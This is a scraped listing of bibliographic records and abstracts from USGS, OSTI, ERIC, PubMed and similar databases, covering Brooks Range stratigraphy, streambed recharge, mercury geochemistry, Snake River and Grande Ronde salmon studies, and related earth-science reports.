Calcareous rocks of Kinderhookian (early Early Mississippian) age are widely distributed across the Howard Pass quadrangle in the western Brooks Range. Most occur in the lower part of the Lisburne Group (herein called the Rough Mountain Creek unit) and the upper part of the Endicott Group (Kayak Shale) in two sequences (Key Creek and Aniuk River) of the Endicott Mountains allochthon. Kinderhookian strata are also found in the Kelly River allochthon (Utukok Formation?) and in sections of uncertain stratigraphic affinity and structural level spatially associated with mafic volcanic rocks.Predominant Kinderhookian lithologies in the Lisburne Group are skeletal supportstone (rich in pelmatozoans, bryozoans, and brachiopods) and lesser spiculite; skeletal supportstone and calcarenite are the chief calcareous rock types in the Kayak Shale. Conodont and brachiopod faunas indicate that all of the Rough Mountain Creek unit and much of the Kayak Shale in the study area are of late Kinderhookian age. Lithologic and paleontologic data suggest that Kinderhookian strata in the Howard Pass quadrangle were deposited largely in inner- and middle-shelf settings with normal marine salinity and locally high energy. Overall, calcareous beds in the Rough Mountain Creek unit accumulated in a wider range of environments, less subject to siliciclastic input, than did calcareous beds in the Kayak, and Kinderhookian beds of both units in the Key Creek sequence formed in less diverse, somewhat shallower environments than correlative rocks in the Aniuk River sequence. Lithofacies patterns and contact relations imply that decreased siliciclastic influx, perhaps accompanied by relative sea-level rise, initiated deposition of the Rough Mountain Creek unit; relative sea-level rise and concurrent circulatory restriction most likely ended its deposition.Kinderhookian calcareous rocks in the Howard Pass quadrangle have several implications for middle Paleozoic paleogeography of the western Brooks Range. First, sequences of the Endicott Mountains allochthon that contain the Rough Mountain Creek unit contrast sharply with other sequences included in this allochthon that contain thicker and younger Carboniferous platform carbonate successions. These differences in stratigraphic succession suggest significant shortening within the Endicott Mountains allochthon. Second, Kinderhookian calcareous rocks in the Howard Pass quadrangle may have been a secondary source for carbonate turbidites of the Rim Butte unit (Ipnavik allochthon).

Streambed infiltration and ground-water flow from the trout creek drainage, an intermittent tributary to the Humboldt River, north-central Nevada: Chapter K in Ground-water recharge in the arid and semiarid southwestern United States (Professional Paper 1703)

USGS Publications Warehouse

Prudic, David E.; Niswonger, Richard G.; Harrill, James R.; Wood, James L.; Stonestrom, David A.; Constantz, Jim; Ferré, Ty P.A.; Leake, Stanley A.

2007-01-01

Ground water is abundant in many alluvial basins of the Basin and Range Physiographic Province of the western United States. Water enters these basins by infiltration along intermittent and ephemeral channels, which originate in the mountainous regions before crossing alluvial fans and piedmont alluvial plains. Water also enters the basins as subsurface ground-water flow directly from the mountains, where infiltrated precipitation recharges water-bearing rocks and sediments at these higher elevations. Trout Creek, a typical intermittent stream in the Middle Humboldt River Basin in north-central Nevada, was chosen to develop methods of estimating and characterizing streambed infiltration and ground-water recharge in mountainous terrains. Trout Creek has a drainage area of about 4.8 × 107 square meters. Stream gradients range from more than 1 × 10–1 meter per meter in the mountains to 5 × 10–3 meter per meter at the foot of the piedmont alluvial plain. Trout Creek is perennial in short reaches upstream of a northeast-southwest trending normal fault, where perennial springs discharge to the channel. Downstream from the fault, the water table drops below the base of the channel and the stream becomes intermittent.Snowmelt generates streamflow during March and April, when streamflow extends onto the piedmont alluvial plain for several weeks in most years. Rates of streambed infiltration become highest in the lowest reaches, at the foot of the piedmont alluvial plain. The marked increases in infiltration are attributed to increases in streambed permeability together with decreases in channel-bed armoring, the latter which increases the effective area of the channel. Large quartzite cobbles cover the streambed in the upper reaches of the stream and are absent in the lowest reach. Such changes in channel deposits are common where alluvial fans join piedmont alluvial plains. Poorly sorted coarse and fine sediments are deposited near the head of the fan, while finer-grained but better sorted gravels and sands are deposited near the foot.All flow in Trout Creek is lost to infiltration in the upper and middle reaches of the channel during years of normal to below-normal precipitation. During years of above-normal precipitation, streamflow extends beyond the piedmont alluvial plain to the lower reaches of the channel, where high rates of infiltration result in rapid stream loss. The frequency and duration of streambed infiltration is sufficient to maintain high water contents and low chloride concentrations, compared with interchannel areas, to depths of at least 6 m beneath the channel. Streamflow, streambed infiltration, and unsaturated-zone thickness are all highly variable along intermittent streams, resulting in recharge that is highly variable as well.Average annual ground-water recharge in the mountainous part of the Trout Creek drainage upstream of Marigold Mine was estimated on the basis of chloride balance to be 5.2 × 105 cubic meters. Combined with an average annual surface runoff exiting the mountains of 3.4 × 105cubic meters, the total annual volume of inflow to alluvial-basin sediments from the mountainous part of the Trout Creek is 8.6 × 105 cubic meters, assuming that all runoff infiltrates the stream channel. This equates to about 7 percent of average annual precipitation, which is about the same percentage estimated for ground-water recharge using the original Maxey-Eakin method.

Y-12 National Security Complex Biological Monitoring and Abatement Program 2007 Calendar Yeare Report

DOE Office of Scientific and Technical Information (OSTI.GOV)

Peterson, M.J.; Greeley, M. S. Jr.; Morris, G. W.

2008-07-01

The National Pollutant Discharge Elimination System (NPDES) permit issued for the Oak Ridge Y-12 National Security Complex (Y-12 Complex) which became effective May 1, 2006, continued a requirement for a Biological Monitoring and Abatement Program (BMAP). The BMAP was originally developed in 1985 to demonstrate that the effluent limitations established for the Y-12 Complex protected the classified uses of the receiving stream (East Fork Poplar Creek: EFPC), in particular, the growth and propagation of aquatic life (Loar et al. 1989). The objectives of the current BMAP are similar, specifically to assess stream ecological conditions relative to regulatory limits and criteria,more » to assess ecological impacts as well as recovery in response to Y-12 operations, and to investigate the causes of continuing impacts. The BMAP consists of three tasks that reflect complementary approaches to evaluating the effects of the Y-12 Complex discharges on the biotic integrity of EFPC. These tasks include: (1) bioaccumulation monitoring, (2) benthic macroinvertebrate community monitoring, and (3) fish community monitoring. As required by the NPDES permit, the BMAP benthic macroinvertebrate community monitoring task includes studies to annually evaluate the receiving stream's biological integrity in comparison to TN Water Quality Criteria. BMAP monitoring is currently being conducted at five primary EFPC sites, although sites may be excluded or added depending upon the specific objectives of the various tasks. Criteria used in selecting the sites include: (1) location of sampling sites used in other studies, (2) known or suspected sources of downstream impacts, (3) proximity to U.S. Department of Energy (DOE) Oak Ridge Reservation (ORR) boundaries, (4) appropriate habitat distribution, and (5) access. The primary sampling sites include upper EFPC at kilometers (EFKs) 24.4 and 23.4 [upstream and downstream of Lake Reality (LR) respectively]; EFK 18.7 (also EFK 18.2 and 19), located off the ORR and below an area of intensive commercial and light industrial development; EFK 13.8, located upstream from the Oak Ridge Wastewater Treatment Facility (ORWTF); and EFK 6.3 located approximately 1.4 km below the ORR boundary (Fig. 1.1). Actual sampling locations on EFPC may differ slightly by task according to specific requirements of the task. Brushy Fork (BF) at kilometer (BFK) 7.6 and Hinds Creek at kilometer (HCK) 20.6 are the most commonly used reference sites for the Y-12 BMAP. Additional sites off the ORR are also occasionally used for reference, including Beaver Creek, Bull Run, Cox Creek, and Paint Rock Creek (Fig. 1.2). Summaries of the sampling designs for the three primary tasks of the Y-12 Complex BMAP for EFPC are presented in Tables 1.1-1.3. This report covers the 2007 study period, although data collected outside this time period are included as appropriate. To address the biological monitoring requirements for Bear Creek and McCoy Branch, CERCLA-funded data is summarized in Appendix A (for Bear Creek) and Appendix B (for McCoy Branch). Data for these two watersheds is provided herein to address Section IX of the NPDES Permit for Y-12, where 'Results of these CERCLA programs can be used to meet the biological monitoring requirements of this permit'. For potential comparison with instream biological measures, a summary of the toxicity testing results for Y-12 outfalls into upper EFPC is provided in Appendix C (these results have been previously reported).« less

Geologic Map of Part of the Uinkaret Volcanic Field, Mohave County, Northwestern Arizona

USGS Publications Warehouse

Billingsley, George H.; Hamblin, W. Kenneth; Wellmeyer, Jessica L.; Dudash, Stephanie L.

2001-01-01

The geologic map of part of the Uinkaret Volcanic Field is one product of a cooperative project between the U.S. Geological Survey, the National Park Service, and the Bureau of Land Management to provide geologic information about this part of the Grand Canyon-Parashant Canyon National Monument of Arizona. The Uinkaret Volcanic Field is a unique part of western Grand Canyon where volcanic rocks have preserved the geomorphic development of the landscape. Most of the Grand Canyon, and parts of adjacent plateaus have already been mapped. This map completes one of the remaining areas where uniform quality geologic mapping was needed. A few dozen volcanoes and lava flows within the Grand Canyon are not included in the map area, but their geologic significance to Grand Canyon development is documented by Hamblin (1994) and mapped by Billingsley and Huntoon (1983) and Wenrich and others (1997). The geologic information in this report may be useful to resource managers of the Bureau of Land Management for range management, biological, archaeological, and flood control programs. The map area lies within the Shivwits, Uinkaret, and Kanab Plateaus, which are subplateaus of the Colorado Plateaus physiographic province (Billingsley and others, 1997), and is part of the Arizona Strip north of the Colorado River. The nearest settlement is Colorado City, Arizona, about 58 km (36 mi) north of the map area (fig. 1). Elevations range from about 2,447 m (8,029 ft) at Mount Trumbull, in the northwest quarter of the map area, to about 732 m (2,400 ft) in Cove Canyon, in the southeast quarter of the map area. Vehicle access is via the Toroweap and Mount Trumbull dirt roads (fig. 1). Unimproved dirt roads traverse other parts of the area except in designated wilderness. Extra fuel, two spare tires, and extra food and water are highly recommended for travelers in this remote area. The U.S. Bureau of Land Management, Arizona Strip Field Office, St. George, Utah manages most of the area. In addition, there are 12 sections belonging to the State of Arizona, about 12 sections are private land, and several sections are within the Grand Canyon National Park and Lake Mead National Recreational Area (U.S. Department of the Interior, 1993). The private land is in Potato Valley and Lake Valley, southwest and west of Mount Trumbull, and in Whitmore Canyon and Toroweap (Tuweap) Valley. Portions of the Sawmill Mountains, Mount Logan, and Mount Trumbull areas were originally established as part of the Dixie National Forest in 1904. In 1924, Dixie National Forest land became part of the Kaibab National Forest. Then on February 13, 1974, management of this part of the Kaibab National Forest was transferred to the Bureau of Land Management, Arizona Strip Field Office (personal commun. Becky Hammond, Bureau of Land Management, 1997). Mount Logan and part of the Sawmill Mountains are now designated as the Mount Logan Wilderness Area, and Mount Trumbull is designated as the Mount Trumbull Wilderness Area. Most of the map area is now part of the new Grand Canyon-Parashant Canyon National Monument established January 11, 2000. Lower elevations within Hells Hollow, Whitmore Canyon, Toroweap Valley, and Cove Canyon support a sparse growth of sagebrush, cactus, grass, and a variety of desert shrubs. Sagebrush, grass, cactus, cliffrose bush, pinion pine, and juniper trees thrive at elevations above 1,830 m (6,000 ft). Ponderosa pine and oak forests thrive at higher elevations in the Mount Trumbull and Mount Logan areas. Surface runoff within the map area drains south towards the Colorado River through Hells Hole, Hollow, Whitmore Canyon, Toroweap Valley, and Cove Canyon. Upper Toroweap Valley, upper Hells Hollow, and Whitmore Canyon are part of the physiographic area of Grand Canyon, but are not within Grand Canyon National Park (Billingsley and others, 1997). As of January 11, 2000, these areas are now part of the new Grand Canyon-Parashant

Mercury in the environment

ScienceCinema

Idaho National Laboratory - Mike Abbott

2017-12-09

Abbott works for Idaho National Laboratory as an environmental scientist. Using state-of-thescienceequipment, he continuously samples the air, looking for mercury. In turn, he'll analyzethis long-term data and try to figure out the mercury's point of or

36 CFR 292.48 - Grazing activities.

Code of Federal Regulations, 2011 CFR

2011-07-01

... RECREATION AREAS Hells Canyon National Recreation Area-Federal Lands § 292.48 Grazing activities. The... and located to minimize their impact on scenic, cultural, fish and wildlife, and other resources in... conditions which protect and conserve riparian areas. ...

Primitive Earth: So Near to Hell

ERIC Educational Resources Information Center

Jastrow, Robert

1973-01-01

Discusses the atmospheric characteristics of the earth and their implications for the development of life on earth-like planets. Indicates that the chance of life developing on other planets is not as great as men might have thought. (CC)

Ground-Water System in the Chimacum Creek Basin and Surface Water/Ground Water Interaction in Chimacum and Tarboo Creeks and the Big and Little Quilcene Rivers, Eastern Jefferson County, Washington

USGS Publications Warehouse

Simonds, F. William; Longpre, Claire I.; Justin, Greg B.

2004-01-01

A detailed study of the ground-water system in the unconsolidated glacial deposits in the Chimacum Creek Basin and the interactions between surface water and ground water in four main drainage basins was conducted in eastern Jefferson County, Washington. The study will assist local watershed planners in assessing the status of the water resources and the potential effects of ground-water development on surface-water systems. A new surficial geologic map of the Chimacum Creek Basin and a series of hydrogeologic sections were developed by incorporating LIDAR imagery, existing map sources, and drillers' logs from 110 inventoried wells. The hydrogeologic framework outlined in the study will help characterize the occurrence of ground water in the unconsolidated glacial deposits and how it interacts with the surface-water system. Water levels measured throughout the study show that the altitude of the water table parallels the surface topography and ranges from 0 to 400 feet above the North American Vertical Datum of 1988 across the basin, and seasonal variations in precipitation due to natural cycles generally are on the order of 2 to 3 feet. Synoptic stream-discharge measurements and instream mini-piezometers and piezometers with nested temperature sensors provided additional data to refine the positions of gaining and losing reaches and delineate seasonal variations. Chimacum Creek generally gains water from the shallow ground-water system, except near the community of Chimacum where localized losses occur. In the lower portions of Chimacum Creek, gaining conditions dominate in the summer when creek stages are low and ground-water levels are high, and losing conditions dominate in the winter when creek stages are high relative to ground-water levels. In the Quilcene Bay area, three drainage basins were studied specifically to assess surface water/ground water interactions. The upper reaches of Tarboo Creek generally gain water from the shallow ground-water system throughout most of the year and the lower reaches have little or no gains. The Big Quilcene River generally gains water from the shallow ground-water system after it emerges from a bedrock canyon and loses water from the town of Quilcene to the mouth of the river in Quilcene Bay. The Little Quilcene River generally loses water to the shallow ground-water system, although two localized areas were found to have gaining conditions. The Big Quilcene and Little Quilcene Rivers incur significant losses on the alluvial plain at the head of Quilcene Bay. Each of the creeks examined had a unique pattern of gaining and losing reaches, owing to the hydraulic conductivity of the streambed material and the relative altitude of the surrounding water table. Although the magnitudes of gains and losses varied seasonally, the spatial distribution did not vary greatly, suggesting that patterns of gains and losses in surface-water systems depend greatly on the geology underlying the streambed.

Mercury Geochemistry of Gold Placer Tailings, Sediments, Bedrock, and Waters in the Lower Clear Creek Area, Shasta County, California - Report of Investigations, 2001-2003

USGS Publications Warehouse

Ashley, Roger P.; Rytuba, James J.

2008-01-01

Clear Creek, one of the major tributaries of the upper Sacramento River, drains the eastern Trinity Mountains. Alluvial plain and terrace gravels of lower Clear Creek, at the northwest edge of the Sacramento Valley, contain placer gold that has been mined since the Gold Rush by various methods including hydraulic mining and dredging. In addition, from the 1950s to the 1980s aggregate-mining operations removed gravel from the lower Clear Creek flood plain. Since Clear Creek is an important stream for salmon production, a habitat restoration program is underway to repair damage from mining and improve conditions for spawning. This program includes moving dredge tailings to increase the area of spawning gravel and to fill gravel pits in the flood plain, raising the concern that mercury lost to these tailings in the gold recovery process may be released and become available to biota. The purposes of our study are to identify sources, transport, and dispersal of mercury in the lower Clear Creek area and identify environments in which bioavailable methylmercury is produced. Analytical data acquired include total mercury and methylmercury concentrations in sediments, tailings, and water. Mercury concentrations in bedrock and unmined gravels in and around the mined area are low and are taken to represent background concentrations. Bulk mercury values in placer mining tailings range from near-background in coarse dry materials to more than 40 times background in sands and silts exposed to mercury in sluices. Tailings are entrained in flood-plain sediments and active stream sediments; consequently, mercury concentrations in these materials range from background to about two to three times background. Mercury in sediments and tailings is associated with fine size fractions. The source of most of this mercury is historical gold mining in the Clear Creek watershed. Although methylmercury levels are low in most of these tailings and sediments, flood-plain sediment in shallow flood-plain ponds, tailings in a dredge pond, and active stream sediment in a Clear Creek backwater have elevated levels of methylmercury. Stream waters in the area show low mercury levels during both summer and winter base-flow conditions. During winter high flows total mercury increases by about one order of magnitude; this additional mercury is associated with suspended particulate material. Methylmercury is low in stream waters. Ponds in various environments generally have higher total mercury levels in waters than Clear Creek under base-flow conditions and higher methylmercury levels in both sediments and waters. Ponds are probably the main source of bioavailable mercury in the lower Clear Creek area. Several saline springs occur in the area. The saline waters are enriched in lithium, boron, and mercury, similar to connate waters that are expelled along thrust faults to the south on the west side of the Sacramento Valley. Saline springs may locally contribute some mercury to pond and drainage waters.

Recherches sur l'histoire de l'astronomie ancienne

NASA Astrophysics Data System (ADS)

Tannery, Paul

2015-04-01

Préface; 1. Ce que les Hellènes ont appelé astronomie; 2. Ce que les Hellènes ont appelé astrologie (cont.); 3. Les mathématiciens alexandrins; 4. Les postulats de l'astronomie d'après Ptlolémée et les auteurs élémentaires; 5. La sphéricité de la terre et la mesure de sa circonférence; 6. Le mouvement général des planètes; 7. Les cercles de la sphère; 8. La longueur de l'année solaire; 9. Les tables du soleil; 10. Les périodes d'Hipparque pour les mouvements lunaires; 11. Les tables de la lune; 12. Les parallaxes du soleil et de la lune; 13. Les prédictions d'éclipses; 14. La théorie des planètes; 15. Le catalogue des fixes; Appendice; Errata.

Stories of Hell and Healing: Internet Users' Construction of Benzodiazepine Distress and Withdrawal.

PubMed

Fixsen, Alison M; Ridge, Damien

2017-11-01

Benzodiazepines are a group of drugs used mainly as sedatives, hypnotics, antiepileptics, and muscle relaxants. Consumption is recommended for 2 to 4 weeks only, due to fast onset of dependency and potentially distressing withdrawal symptoms. Few peer-review studies have drawn on the user experiences and language to appreciate firsthand experiences of benzodiazepine withdrawal or discontinuation syndrome. We looked extensively at patient stories of benzodiazepine withdrawal and recovery on Internet support sites and YouTube. Our analysis indicated that users employ rich metaphors to portray the psychologically disturbing and protracted nature of their suffering. We identified seven major themes: hell and isolation, anxiety and depression, alienation, physical distress, anger and remorse, waves and windows, and healing and renewal. By posting success stories, ex-users make known that "healing" can be a long, unpredictable process, but distress does lessen, and recovery can happen.

Historical and current perspectives on fish assemblages of the Snake River, Idaho and Wyoming

USGS Publications Warehouse

Maret, T.R.; Mebane, C.A.

2005-01-01

The Snake River is the tenth longest river in the United States, extending 1,667 km from its origin in Yellowstone National Park in western Wyoming to its union with the Columbia River at Pasco, Washington. Historically, the main-stem Snake River upstream from the Hells Canyon Complex supported at least 26 native fish species, including anadromous stocks of Chinook salmon Oncorhynchus tshawytscha, steelhead O. mykiss, Pacific lamprey Lampetra tridentata, and white sturgeon Acipenser transmontanus. Of these anadromous species, only the white sturgeon remains in the Snake River between the Hells Canyon Complex and Shoshone Falls. Today, much of the Snake River has been transformed into a river with numerous impoundments and flow diversions, increased pollutant loads, and elevated water temperatures. Current (1993-2002) fish assemblage collections from 15 sites along the Snake River and Henrys Fork contained 35 fish species, including 16 alien species. Many of these alien species such as catfish (Ictaluridae), carp (Cyprinidae), and sunfish (Centrarchidae) are adapted for warmwater impounded habitats. Currently, the Snake River supports 19 native species. An index of biotic integrity (IBI), developed to evaluate large rivers in the Northwest, was used to evaluate recent (1993-2002) fish collections from the Snake River and Henrys Fork in southern Idaho and western Wyoming. Index of biotic integrity site scores and component metrics revealed a decline in biotic integrity from upstream to downstream in both the Snake River and Henrys Fork. Two distinct groups of sites were evident that correspond to a range of IBI scores-an upper Snake River and Henrys Fork group with relatively high biotic integrity (mean IBI scores of 46-84) and a lower Snake River group with low biotic integrity (mean IBI scores of 10-29). Sites located in the lower Snake River exhibited fish assemblages that reflect poor-quality habitat where coldwater and sensitive species are rare or absent, and where tolerant, less desirable species predominate. Increases in percentages of agricultural land, total number of diversions, and number of constructed channels were strongly associated with these decreasing IBI scores.

Simulation of streamflow and estimation of ground-water recharge in the Upper Cibolo Creek Watershed, south-central Texas, 1992-2004

USGS Publications Warehouse

Ockerman, Darwin J.

2007-01-01

A watershed model (Hydrological Simulation Program?FORTRAN) was developed, calibrated, and tested by the U.S. Geological Survey, in cooperation with the U.S. Army Corps of Engineers, San Antonio River Authority, San Antonio Water System, and Guadalupe-Blanco River Authority, to simulate streamflow and estimate ground-water recharge in the upper Cibolo Creek watershed in south-central Texas. Rainfall, evapotranspiration, and streamflow data were collected during 1992?2004 for model calibrations and simulations. Estimates of average ground-water recharge during 1992?2004 from simulation were 79,800 acre-feet (5.47 inches) per year or about 15 percent of rainfall. Most of the recharge (about 74 percent) occurred as infiltration of streamflow in Cibolo Creek. The remaining recharge occurred as diffuse infiltration of rainfall through the soil and rock layers and karst features. Most recharge (about 77 percent) occurred in the Trinity aquifer outcrop. The remaining 23 percent occurred in the downstream part of the watershed that includes the Edwards aquifer recharge zone (outcrop). Streamflow and recharge in the study area are greatly influenced by large storms. Storms during June 1997, October 1998, and July 2002 accounted for about 11 percent of study-area rainfall, 61 percent of streamflow, and 16 percent of the total ground-water recharge during 1992?2004. Annual streamflow and recharge also were highly variable. During 1999, a dry year with about 16 inches of rain and no measurable runoff at the watershed outlet, recharge in the watershed amounted to only 0.99 inch compared with 13.43 inches during 1992, a relatively wet year with about 54 inches of rainfall. Simulation of flood-control/recharge-enhancement structures showed that certain structures might reduce flood peaks and increase recharge. Simulation of individual structures on tributaries showed relatively little effect. Larger structures on the main stem of Cibolo Creek were more effective than structures on tributaries, both in terms of flood-peak reduction and recharge enhancement. One simulated scenario that incorporated two main-stem structures resulted in a 37-percent reduction of peak flow at the watershed outlet and increases in stream-channel recharge of 6.6 percent in the Trinity aquifer outcrop and 12.6 percent in the Edwards aquifer (recharge zone) outcrop.

Geochemical Investigation of Source Water to Cave Springs, Great Basin National Park, White Pine County, Nevada

USGS Publications Warehouse

Prudic, David E.; Glancy, Patrick A.

2009-01-01

Cave Springs supply the water for the Lehman Caves Visitor Center at Great Basin National Park, which is about 60 miles east of Ely, Nevada, in White Pine County. The source of water to the springs was investigated to evaluate the potential depletion caused by ground-water pumping in areas east of the park and to consider means to protect the supply from contamination. Cave Springs are a collection of several small springs that discharge from alluvial and glacial deposits near the contact between quartzite and granite. Four of the largest springs are diverted into a water-collection system for the park. Water from Cave Springs had more dissolved strontium, calcium, and bicarbonate, and a heavier value of carbon-13 than water from Marmot Spring at the contact between quartzite and granite near Baker Creek campground indicating that limestone had dissolved into water at Cave Springs prior to discharging. The source of the limestone at Cave Springs was determined to be rounded gravels from a pit near Baker, Nevada, which was placed around the springs during the reconstruction of the water-collection system in 1996. Isotopic compositions of water at Cave Springs and Marmot Spring indicate that the source of water to these springs primarily is from winter precipitation. Mixing of water at Cave Springs between alluvial and glacial deposits along Lehman Creek and water from quartzite is unlikely because deuterium and oxygen-18 values from a spring discharging from the alluvial and glacial deposits near upper Lehman Creek campground were heavier than the deuterium and oxygen-18 values from Cave Springs. Additionally, the estimated mean age of water determined from chlorofluorocarbon concentrations indicates water discharging from the spring near upper Lehman Creek campground is younger than that discharging from either Cave Springs or Marmot Spring. The source of water at Cave Springs is from quartzite and water discharges from the springs on the upstream side of the contact between quartzite and granite where the alluvial and glacial deposits are thin. Consequently, the potential for depletion of discharge at Cave Springs from ground-water pumping in Snake Valley east of the park is less than if the source of water was from alluvial and glacial deposits or carbonate rocks, which would be more directly connected to downstream pumping sites in Snake Valley.

Investigations into the Early History of Naturally Produced Spring Chinook Salmon in the Grand Ronde Basin : Fish Research Project Oregon : Annual Progress Report Project Period September 1, 1996 to August 31, 1997.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Johasson, Brian C.; Tranquilli, J. Vincent; Keefe, MaryLouise

1998-10-28

We have documented two general life history strategies utilized by juvenile spring chinook salmon in the Grande Ronde River basin: (1) juveniles migrate downstream out of summer rearing areas in the fall, overwinter in river valley habitats, and begin their seaward migration in the spring, and (2) juveniles remain in summer rearing areas through the winter and begin seaward migration in the spring. In migration year 96-97, the patterns evident from migrant trap data were similar for the three Grande Ronde River populations studied, with 42% of the Lostine River migrants and 76% of the Catherine Creek migrants leaving uppermore » rearing areas in the fall. Contrary to past years, the majority (98%) of upper Grande Ronde River migrants moved out in the fall. Total trap catch for the upper Grande Ronde River was exceedingly low (29 salmon), indicating that patterns seen this year may be equivocal. As in previous years, approximately 99% of chinook salmon juveniles moved past our trap at the lower end of the Grande Ronde River valley in the spring, reiterating that juvenile chinook salmon overwinter within the Grande Ronde valley section of the river. PIT-tagged fish were recaptured at Grande Ronde River traps and mainstem dams. Recapture data showed that fish that overwintered in valley habitats left as smolts and arrived at Lower Granite Dam earlier than fish that overwintered in upstream rearing areas. Fish from Catherine Creek that overwintered in valley habitats were recaptured at the dams at a higher rate than fish that overwintered upstream. In this first year of data for the Lostine River, fish tagged during the fall migration were detected at a similar rate to fish that overwintered upstream. Abundance estimates for migration year 96-97 were 70 for the upper Grande Ronde River, 4,316 for the Catherine Creek, and 4,323 for the Lostine River populations. Although present in most habitats, juvenile spring chinook salmon were found in the greatest abundance in pool habitats, particularly alcove and backwater pools. These results were consistent for both summer and winter surveys.« less

Monitoring and Evaluation of Supplemented Spring Chinook Salmon and Life Histories of Wild Summer Steelhead in the Grande Ronde Basin, 2007 Annual Report.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Boe, Stephen J.; Crump, Carrie A.; Weldert, Rey L.

2009-04-10

This is the ninth annual report for a multi-year project designed to monitor and evaluate supplementation of endemic spring Chinook salmon in Catherine Creek and the upper Grande Ronde River. These two streams historically supported anadromous fish populations that provided significant tribal and non-tribal fisheries, but in recent years, have experienced severe declines in abundance. Conventional and captive broodstock supplementation methods are being used to restore these spring Chinook salmon populations. Spring Chinook salmon populations in Catherine Creek and the upper Grande Ronde River, and other streams in the Snake River Basin have experienced severe declines in abundance over themore » past two decades (Nehlsen et al. 1991). A supplementation program was initiated in Catherine Creek and the upper Grande Ronde River, incorporating the use of both captive and conventional broodstock methods, in order to prevent extinction in the short term and eventually rebuild populations. The captive broodstock component of the program (BPA Project 199801001) uses natural-origin parr collected by seining and reared to maturity at facilities near Seattle, Washington (Manchester Marine Laboratory) and Hood River, Oregon (Bonneville Hatchery). Spawning occurs at Bonneville Hatchery, and resulting progeny are reared in hatcheries. Shortly before outmigration in the spring, juveniles are transferred to acclimation facilities. After an acclimation period of about 2-4 weeks, volitional release begins. Any juveniles remaining after the volitional release period are forced out. The conventional broodstock component uses returning adults collected at traps near the spawning areas, transported to Lookingglass Hatchery near Elgin, Oregon, held, and later spawned. The resulting progeny are reared, acclimated, and released similar to the captive broodstock component. All progeny released receive one or more marks including a fin (adipose) clip, codedwire tag, PIT tag, or visual implant elastomer tag. The numbers of adults used for conventional broodstock are determined by an agreement among comanagers (Zimmerman and Patterson 2002). Activities for this project focus on two life stages of spring Chinook salmon: juveniles during the migration from freshwater to the ocean and adults during prespawning migration through the end of spawning. Life history, production, and genetics are monitored and used to evaluate program effectiveness.« less

Extent of areal inundation of riverine wetlands along five river systems in the upper Hillsborough river watershed, west-central Florida

USGS Publications Warehouse

Lewelling, B.R.

2004-01-01

Riverine and palustrine wetlands are a major ecological component of river basins in west-central Florida. Healthy wetlands are dependent, in part, upon the frequency and duration of periodic flooding or inundation. This report assesses the extent, area, depth, frequency, and duration of periodic flooding and the effects of potential surface-water withdrawals on wetlands along five river systems in the upper Hillsborough River watershed: Hillsborough and New Rivers, Blackwater and Itchepackesassa Creeks, and East Canal. Results of the study were derived from step-backwater analyses performed for each of the river systems using the U.S. Army Corps of Engineers Hydrologic Engineering Center-River Analysis System (HEC-RAS) one-dimensional model. Step-backwater analyses were performed based on daily mean discharges at the 10th, 50th, 70th, 80th, 90th, 95th, 99.5th, and 99.97th percentiles for selected periods. The step-backwater analyses computed extent of inundation, area of inundation, and hydraulic depth. An assessment of the net reduction of areal inundation for each of the selected percentile discharges was computed if 10 percent of the total river flow were diverted for potential withdrawals. The extent of areal inundation at a cross section is controlled by discharge volume, topography, and the degree to which the channel is incised. Areal inundation can occur in reaches characterized by low topographic relief in the upper Hillsborough watershed during most, if not all, selected discharge percentiles. Most river systems in the watershed, however, have well defined and moderately incised channels that generally confine discharges within the banks at the 90th percentile. The greatest increase in inundated area along the five river systems generally occurred between the 95th to 99.5th percentile discharges. The decrease in inundated area that would result from a potential 10-percent discharge withdrawal at the five river systems ranged as follows: Hillsborough River, 7 to 940 acres (2.0 to 6.0 percent); and New River, 0.2 to 58.9 acres (0 to 11.9 percent); Blackwater Creek, 3.3 to 148 acres (2.2 to 9.4 percent); Itchepackesassa Creek, 1.0 to 104 acres (0.9 to 10.8 percent); and East Canal 0.7 to 34.6 acres (0.5 to 7.6 percent).

Integrated Modeling and Carbonate Reservoir Analysis, Upper Jurassic Smackover Formation, Fishpond Field, Southwest Alabama

NASA Astrophysics Data System (ADS)

Owen, Alexander Emory

This field case study focuses on Upper Jurassic (Oxfordian) Smackover hydrocarbon reservoir characterization, modeling and evaluation at Fishpond Field, Escambia County, Alabama, eastern Gulf Coastal Plain of North America. The field is located in the Conecuh Embayment area, south of the Little Cedar Creek Field in Conecuh County and east of Appleton Field in Escambia County. In the Conecuh Embayment, Smackover microbial buildups commonly developed on Paleozoic basement paleohighs in an inner to middle carbonate ramp setting. The microbial and associated facies identified in Fishpond Field are: (F-1) peloidal wackestone, (F-2) peloidal packstone, (F-3) peloidal grainstone, (F-4) peloidal grainstone/packstone, (F-5) microbially-influenced wackestone, (F-6) microbially-influenced packstone, (F-7) microbial boundstone, (F-8) oolitic grainstone, (F-9) shale, and (F-10) dolomitized wackestone/packstone. The Smackover section consists of an alternation of carbonate facies, including F-1 through F-8. The repetitive vertical trend in facies indicates variations in depositional conditions in the area as a result of changes in water depth, energy conditions, salinity, and/or water chemistry due to temporal variations or changes in relative sea level. Accommodation for sediment accumulation also was produced by a change in base level due to differential movement of basement rocks as a result of faulting and/or subsidence due to burial compaction and extension. These changes in base level contributed to the development of a microbial buildup that ranges between 130-165 ft in thickness. The Fishpond Field carbonate reservoir includes a lower microbial buildup interval, a middle grainstone/packstone interval and an upper microbial buildup interval. The Fishpond Field has sedimentary and petroleum system characteristics similar to the neighboring Appleton and Little Cedar Creek Fields, but also has distinct differences from these Smackover fields. The characteristics of the petroleum trap and reservoir at Fishpond Field requires modification of the exploration strategy presently in use to identify Smackover reservoirs productive of hydrocarbons in the Conecuh Embayment area. The complexity of the geologic history of the petroleum trap and reservoir development at Fishpond Field distinguishes this field from the Appleton basement paleohigh and related microbial buildup and the Little Cedar Creek stratigraphic trap and associated inner ramp microbial buildups.

Escapement and Productivity of Spring Chinook and Summer Steelhead in the John Day River Basin, Technical Report 2004-2005.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Wilson, Wayne

